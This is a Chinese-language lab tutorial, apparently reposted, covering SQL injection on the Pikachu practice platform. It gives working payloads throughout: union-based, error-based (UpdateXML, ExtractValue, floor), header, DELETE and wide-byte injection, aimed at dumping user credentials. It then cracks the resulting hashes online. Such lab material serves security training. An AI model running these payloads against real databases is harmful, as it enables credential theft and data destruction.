Pikachu SQL注入训练实例

news2024/11/15 4:57:27
1 数字类型注入

打开Burp Suit工具,选择Proxy,之后点击Open Browser打开浏览器,在浏览器中输入http://localhost:8080/pikachu-master打开Pikachu漏洞练习平台。
在这里插入图片描述

选择“数字型注入”,之后点击下拉框随便选择一个ID,开启Burp Suit的Intercept功能,再点击Pikachu上的查询按钮,可看到Burp Suit抓包如图,其中红框部分即为浏览器通过POST方式上传的报文参数。
在这里插入图片描述

为方便进行注入测试,在Burp Suit上点击右键,选择“send to repeater”,之后在repeater选卡中,更改上传参数id的值(因为本题已表明为数字类型注入,故直接尝试数字类型的闭合,实际破解过程中可能要逐个尝试找出)如图,这时可以看到界面上将所有用户信息打出,表明注入有效。

or 1=1 #

在这里插入图片描述

通过order by获取查询的字段数。当尝试到order by 3时,出现报错提示,表明查询的字段数为2。

order by 3 #

在这里插入图片描述

获取数据库信息。

union select 1,schema_name from information_schema.schemata #

在这里插入图片描述

获取当前数据库。

union select 1,database() #

在这里插入图片描述

获取数据库中的表。

union select 1,group_concat(table_name) from information_schema.tables where 
table_schema=database() #

在这里插入图片描述

获取表中的字段。根据界面上的userid信息提示,猜测界面查询users表的可能性较大,故先尝试获取users表中的字段。

union select 1,group_concat(column_name) from information_schema.columns where 
table_schema=database() and table_name='users' #

在这里插入图片描述

此时users表中可以获取到用户名,但邮箱信息不能获取到。尝试获取member里面的字段如图,从结构判断,member是目标表的可能性较大。

union select 1,group_concat(column_name) from information_schema.columns where 
table_schema=database() and table_name='member' #

在这里插入图片描述

获取各个字段的值。此时可看到用户grady在我们破解出来的值中,表明member即为我们的目标表。

union select group_concat(username,pw),group_concat(email) from member #

在这里插入图片描述

在浏览器中输入 https://www.cmd5.com/,将打印出的密码序列输入,即可破解出用户密码。
在这里插入图片描述

2 字符型注入

选择Pikachu的字符型注入选项,照例在输入框中填入信息后,使用Burp Suit抓包。此时注意到,由于请求方式变为GET,其参数位置也发生了变化。
在这里插入图片描述

尝试构造查询闭合。此时发现直接输入SQL闭合语句并不能生效,并产生了错误,这时由于我们构造SQL闭合时,GET请求参数有特殊字符导致,需要进行一下URL编码。
在这里插入图片描述

点击Burp Suit的Decoder选项,将刚才构造闭合的语句输入到框内,然后选择encode as -> URL完成编码。
在这里插入图片描述

之后将编码字符填回到GET的请求参数中即可完成闭合构造。

' or 1=1#
=>
%27%20%6f%72%20%31%3d%31%23

在这里插入图片描述

之后参照数字型注入的步骤,逐步破击即可。需要注意的是,为了能够返现出我们需要的信息,需要将抓包报文中的admin去掉(因为admin用户可能不存在,参数中存在可能对返显结果有影响)。

' union select group_concat(username,pw),group_concat(email) from member #
=>
%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%75%73%65%72%6e%61%6d%65%2c%70%77%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%65%6d%61%69%6c%29%20%66%72%6f%6d%20%6d%65%6d%62%65%72%20%23

在这里插入图片描述

3 搜索型注入

SQL的搜索主要通过LIKE函数去实现,故其闭合构造的方式与字符型注入是差不多的,可参照字符型注入的破解过程。

' union select 1, group_concat(username,pw),group_concat(email) from member #
=>
%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%75%73%65%72%6e%61%6d%65%2c%70%77%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%65%6d%61%69%6c%29%20%66%72%6f%6d%20%6d%65%6d%62%65%72%20%23

在这里插入图片描述

4 XX型注入

当不知道注入的具体类型时,可以按照基本流程中的步骤1逐一尝试,直到能够构造出闭合,本题为包含搜索类型,即使用in关键字,故要构造in的闭合。

') union select group_concat(username,pw),group_concat(email) from member #
=>
%27%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%75%73%65%72%6e%61%6d%65%2c%70%77%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%65%6d%61%69%6c%29%20%66%72%6f%6d%20%6d%65%6d%62%65%72%20%23

在这里插入图片描述

5 INSERT注入

在插入注入时,如果直接构建闭合,则数据虽然可以插入成功,却不能返显出我们想要的信息,需要借助内置函数通过报错的形式将我们想要的数据返显出来。

UpdateXML(xml_target,xpath_expr,new_xml)
#UpdateXML函数将xml_target中用xpath_expr路径匹配到XML片段用new_xml替换,然后返回更改后的XML。
#xml_target被替换的部分与xpath_expr用户提供的XPath表达式匹配。
#如果找不到表达式匹配 xpath_expr项,或者找到多个匹配项,则该函数返回原始 ml_targetXML片段。
#所有三个参数都应为字符串。
ExtractValue(xml_frag, xpath_expr)
#ExtractValue是返回在xml_frag用xpath_expr路径匹配到的XML片段
floor(x)
#floor函数返回不大于x的最大整数。
  • 在UpdateXML()、ExtractValue()函数中,当参数xpath_expr路径语法错误时,就会报错,将xpath_expr中内容当作sql语句执行后结果和报错结果一同返回 ;

  • floor()报错需要count()、rand()、group by结合使用,三者缺一不可。如floor(rand(0)*2)每次执行结果是基本固定的,在使用group by floor(rand(0)*2)创建虚拟表的过程中,向虚拟表中插入数据时,主键的计算产生相同的结果,从而产生插入报错。

通过Burp Suit进行抓包,可以看到如图所示的参数请求。
在这里插入图片描述

  • 以username为切入点,使用floor()进行注入;
' or (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a) or '

在这里插入图片描述

  • 使用UpdateXML函数进行注入;
' or UpdateXML(1,concat(0x7e,database()),0) or '

在这里插入图片描述

  • 使用ExtractValue函数进行注入;
' or ExtractValue(1,concat(0x7e,database())) or '

在这里插入图片描述

找到注入点之后,就可以将之前的database()函数替换为我们想要查库的SQL语句,从而完成对数据库信息的获取。以UpdateXML为例注入,先获取数据库表。

' or UpdateXML(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) or '

在这里插入图片描述

获取表中的字段。

' or UpdateXML(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),0) or '

在这里插入图片描述
获取表的信息。

' or UpdateXML(1,concat(0x7e,(select group_concat(username,password) from users)),0) or '

在这里插入图片描述

6 UPDATE注入

更新注入与插入注入的方式大致相同,故不再赘述。使用之前注册的账号登录,之后点击修改个人信息,使用Burp Suit工具抓包,填入对应的语句即可。
在这里插入图片描述
在这里插入图片描述

7 DELETE注入

delete注入与insert、update注入类似,核心都是利用上述的三个内置函数报错,获取数据库信息。先在Pikachu的delete注入模块中增加几条留言,之后点击删除,使用Burp Suit进行抓包。
在这里插入图片描述

在请求报文中,追加我们的SQL语句。需要注意的是,此处为GET请求,需要进行URL编码。

 or UpdateXML(1,concat(0x7e,(select group_concat(username,password) from users)),0)
 =>
 %20%6f%72%20%55%70%64%61%74%65%58%4d%4c%28%31%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%28%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%75%73%65%72%6e%61%6d%65%2c%70%61%73%73%77%6f%72%64%29%20%66%72%6f%6d%20%75%73%65%72%73%29%29%2c%30%29%0a

在这里插入图片描述

需要注意的是,删除注入非常危险,如追加的语句变为下述语句,则会造成整表删除。

or 1=1
8 HTTP HEADER注入

输入破解出的用户名及密码,先登录页面。
在这里插入图片描述

获取回显的信息。
在这里插入图片描述

退出登录,再次输入破解出的用户名及密码进行登录,同时使用Burp Suit抓包。
在这里插入图片描述

点击Forward,此时发现浏览器又发起了一次新的请求,同时cookie中保留了登录信息。再次点击Forward则显示出之前的登录信息,由此猜测第二次请求获取了http header信息并做了返显。
在这里插入图片描述

尝试在User-Agent部分替换为注入的SQL语句,看能否获取相应信息。

' or UpdateXML(1,concat(0x7e,(select group_concat(username,password) from users)),0) or '

在这里插入图片描述

同理,也可以在Accept部分进行注入。
在这里插入图片描述

9 基于boolian的盲注
10 基于时间的盲注
11 宽字节wide byte注入

宽字节注入的产生原因:

1)MYSQL client链接编码导致。

查看编码:show variables like ‘%character%’,当客户端连接编码设置为GBK的时候,与php进行交互的时候就会出现字符转换 导致单引号逃逸的问题。

测试payload: index.php?id=%df%27 流程: %df%27->addslashes()->%df%5c%27->数据库交互gbk编码->運’

2) MYSQL iconv函数mb_convert_encoding函数导致。

借用先知: $id =iconv(‘GBK’,‘UTF-8’, $id)

%df%27===(addslashes)=>%df%5c%27=(iconv) ===> %e5%5c%5c% 27 其实就是 utf8 -> gbk ->utf-8 低位的%5c 也就是反斜杠干掉了 转义单引号的反斜杠。

3) Big5编码导致的宽字节注入

猜测代码: iconv(‘utf-8’,‘BIG5’,$_GET[‘id’])

payload构造同上: 功’ -> addsalshes -> 功’ -> iconv -> %A5%5C%5C%27->¥’ 逃逸单引号 。

回到Pikachu漏洞练习平台的宽字节注入练习部分,尝试使用字符型方式注入,发现并没有返回期望的结果,故尝试构建注入语句为:

kobe%df’ or 1=1#

发现可以成功逃逸单引号,构造出闭合SQL。
在这里插入图片描述

参照之前的注入流程,最终使用如下SQL即可破解出库中的用户信息。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1932270.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

linux进程——父子进程层面的PID,fork的原理与理解

前言:本篇内容主要讲解进程中系统调用fork和父子进程的概念与原理, 想要系统学习linux进程的友友们只管看本篇文章是不行的。 还要学习一些linux进程的周边知识以及linux进程其他方面的知识,博主的linux专栏中已经加入了这些文章方便友友们进…

【Java数据结构】初始线性表之一:链表

为什么要有链表 上一节我们描述了顺序表:【Java数据结构】初识线性表之一:顺序表-CSDN博客 并且进行了简单模拟实现。通过源码知道,ArrayList底层使用数组来存储元素。 由于其底层是一段连续空间,当在ArrayList任意位置插入或者…

GESP CCF C++ 七级认证真题 2024年6月

第 1 题 下列C代码的输出结果是&#xff08; &#xff09;。 #include <iostream> #include <cmath> using namespace std; int main() { cout << sin(3.1415926 / 2); return 0; } A. 0 B. 1 C.0.5 D.0.7071 第 2 题 对于如下图的二叉树&#x…

「C++」类和对象(1)

欢迎来到海盗猫鸥的博客~~ 本篇我们将学习部分C中的类和对象相关知识沃~ (• ω •)&#xff89;算我一个&#xff5e; 目录 类的定义 类的定义及使用 访问限定符 类域 实例化 实例化概念&#xff1a; 对象大小&#xff1a; 内存对齐规则&#xff1a; 注意点&#xff…

卸载docker简单且ok的方法

杀死所有容器 docker kill $(docker ps -a -q) 删除所有容器 docker rm $(docker ps -a -q) 删除所有镜像 docker rmi $(docker images -q) 停止docker服务 systemctl stop docker 查看安装列表 yum list installed|grep docker 依次卸载已安装的docker yum -y remove docke…

入职前回顾一下git-01

git安装 Linux上安装git 在linux上建议用二进制的方式来安装git&#xff0c;可以使用发行版包含的基础软件包管理工具来安装。 红帽系 sudo yum install gitDebian系 sudo apt install gitWindows上安装git 去官网下载和操作系统位数相同的安装包.或者可以直接安装GitHub…

【C++】类和对象·this指针

C中的类与C语言中的结构体有很多的相似的地方&#xff0c;可以说本质上除了结构体只能定义成员变量&#xff0c;以及结构体默认的访问控制权限是public之外与class没啥区别。但是结构体变量每次调用函数的时候需要指针&#xff0c;而类中的成员函数明明被保存在公共代码段&…

SCI一区级 | Matlab实现SSA-CNN-GRU-Multihead-Attention多变量时间序列预测

目录 效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.【SCI一区级】Matlab实现SSA-CNN-GRU-Multihead-Attention麻雀算法优化卷积门控循环单元融合多头注意力机制多变量时间序列预测&#xff0c;要求Matlab2023版以上&#xff1b; 2.输入多个特征&#xff0c;输出单个…

“深入JVM内部:揭秘Java程序运行的神秘黑盒“(二)

一.双亲委派模型(在加载环节) 简单描述了如何查找 .class 文件的策略. 概念&#xff1a;如果一个类加载器收到了类加载的请求&#xff0c;它首先不会自己去尝试加载这个类&#xff0c;而是把这个请求委派给父类加载器去完成&#xff0c;每一个层次的类加载器都是如此&#x…

C++ | Leetcode C++题解之第238题除自身以外数组的乘积

题目&#xff1a; 题解&#xff1a; class Solution { public:vector<int> productExceptSelf(vector<int>& nums) {int length nums.size();// L 和 R 分别表示左右两侧的乘积列表vector<int> L(length, 0), R(length, 0);vector<int> answer(l…

RK3568平台(文件系统篇)Buildroot文件系统

一.Buildroot文件系统概述 Buildroot 是Linux平台上一个开源的嵌入式Linux系统自动构建框架。整个Buildroot是由Makefile脚本和Kconfig配置文件构成的。可通过Buildroot配置&#xff0c;编译出一个完整的可以直接烧写到机器上运行的Linux系统软件。 获取buildroot官方源码&am…

人工智能 (AI) 应用:一个异常肺呼吸声辅助诊断系统

关键词&#xff1a;深度学习、肺癌、多标签、轻量级模型设计、异常肺音、音频分类 近年来&#xff0c;流感对人类的危害不断增加&#xff0c;COVID-19疾病的迅速传播加剧了这一问题&#xff0c;导致大多数患者因呼吸系统异常而死亡。在这次流行病爆发之前&#xff0c;呼吸系统…

【Vue3】4个比较重要的设计模式!!

大家好,我是CodeQi! 一位热衷于技术分享的码仔。 在我投身于前端开发的职业生涯期间,曾有一次承接了一个大型项目的维护工作。此项目运用的是 Vue 框架,然而其代码结构紊乱不堪,可维护性极度糟糕😫。 这使我深刻领会到,理解并运用 Vue 中的重要设计模式是何等关键! …

Codeforces Round 958 (Div. 2)(A~C)题

A. Split the Multiset 思路: 最优的策略是每次操作分出 k−1&#x1d458;−1 个 1&#xff0c;然后考虑最后是否会剩下一个单独的 1。 代码: #include<bits/stdc.h> using namespace std; #define N 1000005 typedef long long ll; typedef unsigned long long ull;…

VGMShield:揭秘视频生成模型滥用的检测与追踪技术

人工智能咨询培训老师叶梓 转载标明出处 视频生成模型&#xff0c;如 Stable Video Diffusion 和 Videocrafter&#xff0c;已经能够生成合理且高分辨率的视频。但这些技术进步也带来了被恶意利用的风险&#xff0c;比如用于制造假新闻或进行政治宣传。因此&#xff0c;来自弗…

BUUCTF逆向wp [HDCTF2019]Maze

第一步 查壳&#xff0c;本题是32位&#xff0c;有壳&#xff0c;进行脱壳。 第二步 这里的 jnz 指令会实现一个跳转&#xff0c;并且下面的0EC85D78Bh被标红了&#xff0c;应该是一个不存在的地址&#xff0c;这些东西就会导致IDA无法正常反汇编出原始代码&#xff0c;也称…

Kafka 高并发设计之数据压缩与批量消息处理

《Kafka 高性能架构设计 7 大秘诀》专栏第 6 章。 压缩&#xff0c;是一种用时间换空间的 trade-off 思想&#xff0c;用 CPU 的时间去换磁盘或者网络 I/O 传输量&#xff0c;用较小的 CPU 开销来换取更具性价比的磁盘占用和更少的网络 I/O 传输。 Kafka 是一个高吞吐量、可扩展…

python课设——宾馆管理系统

python课设——宾馆管理系统 数据库课设-宾馆管理系统-python3.7pyqt5 简介 大二数据库课程设计&#xff08;3-4天工作量&#xff09;的项目&#xff0c;登录界面的ui设计参考了他人成果&#xff0c;其余ui以及所有后端部分全部独立完成&#xff0c;详细功能见功能模块图使用…

国内新能源汽车芯片自给,承认差距,任重道远

【科技明说 &#xff5c; 科技热点关注】 据近日工信部电子五所元器件与材料研究院高级副院长罗道军表示&#xff0c;中国拥有最大的新能源车产能&#xff0c;芯片用量也是越来越多。但是芯片的自给率目前不到10%&#xff0c;是结构性的短缺。 中国拥有最大新能源车产能&#…

入门【消息队列】这一篇就够了

消息队列 消息队列的模型为什么要用消息队列分布式消息队列应用场景分布式消息队列选型RabbitMQ入门实战singleWorkFanoutDirectTopic核心特性消息过期机制消息确认机制死信队列消息队列的模型 生产者:Producer,发送消息的人(客户端) 消费者:Consumer,接受消息的人(客…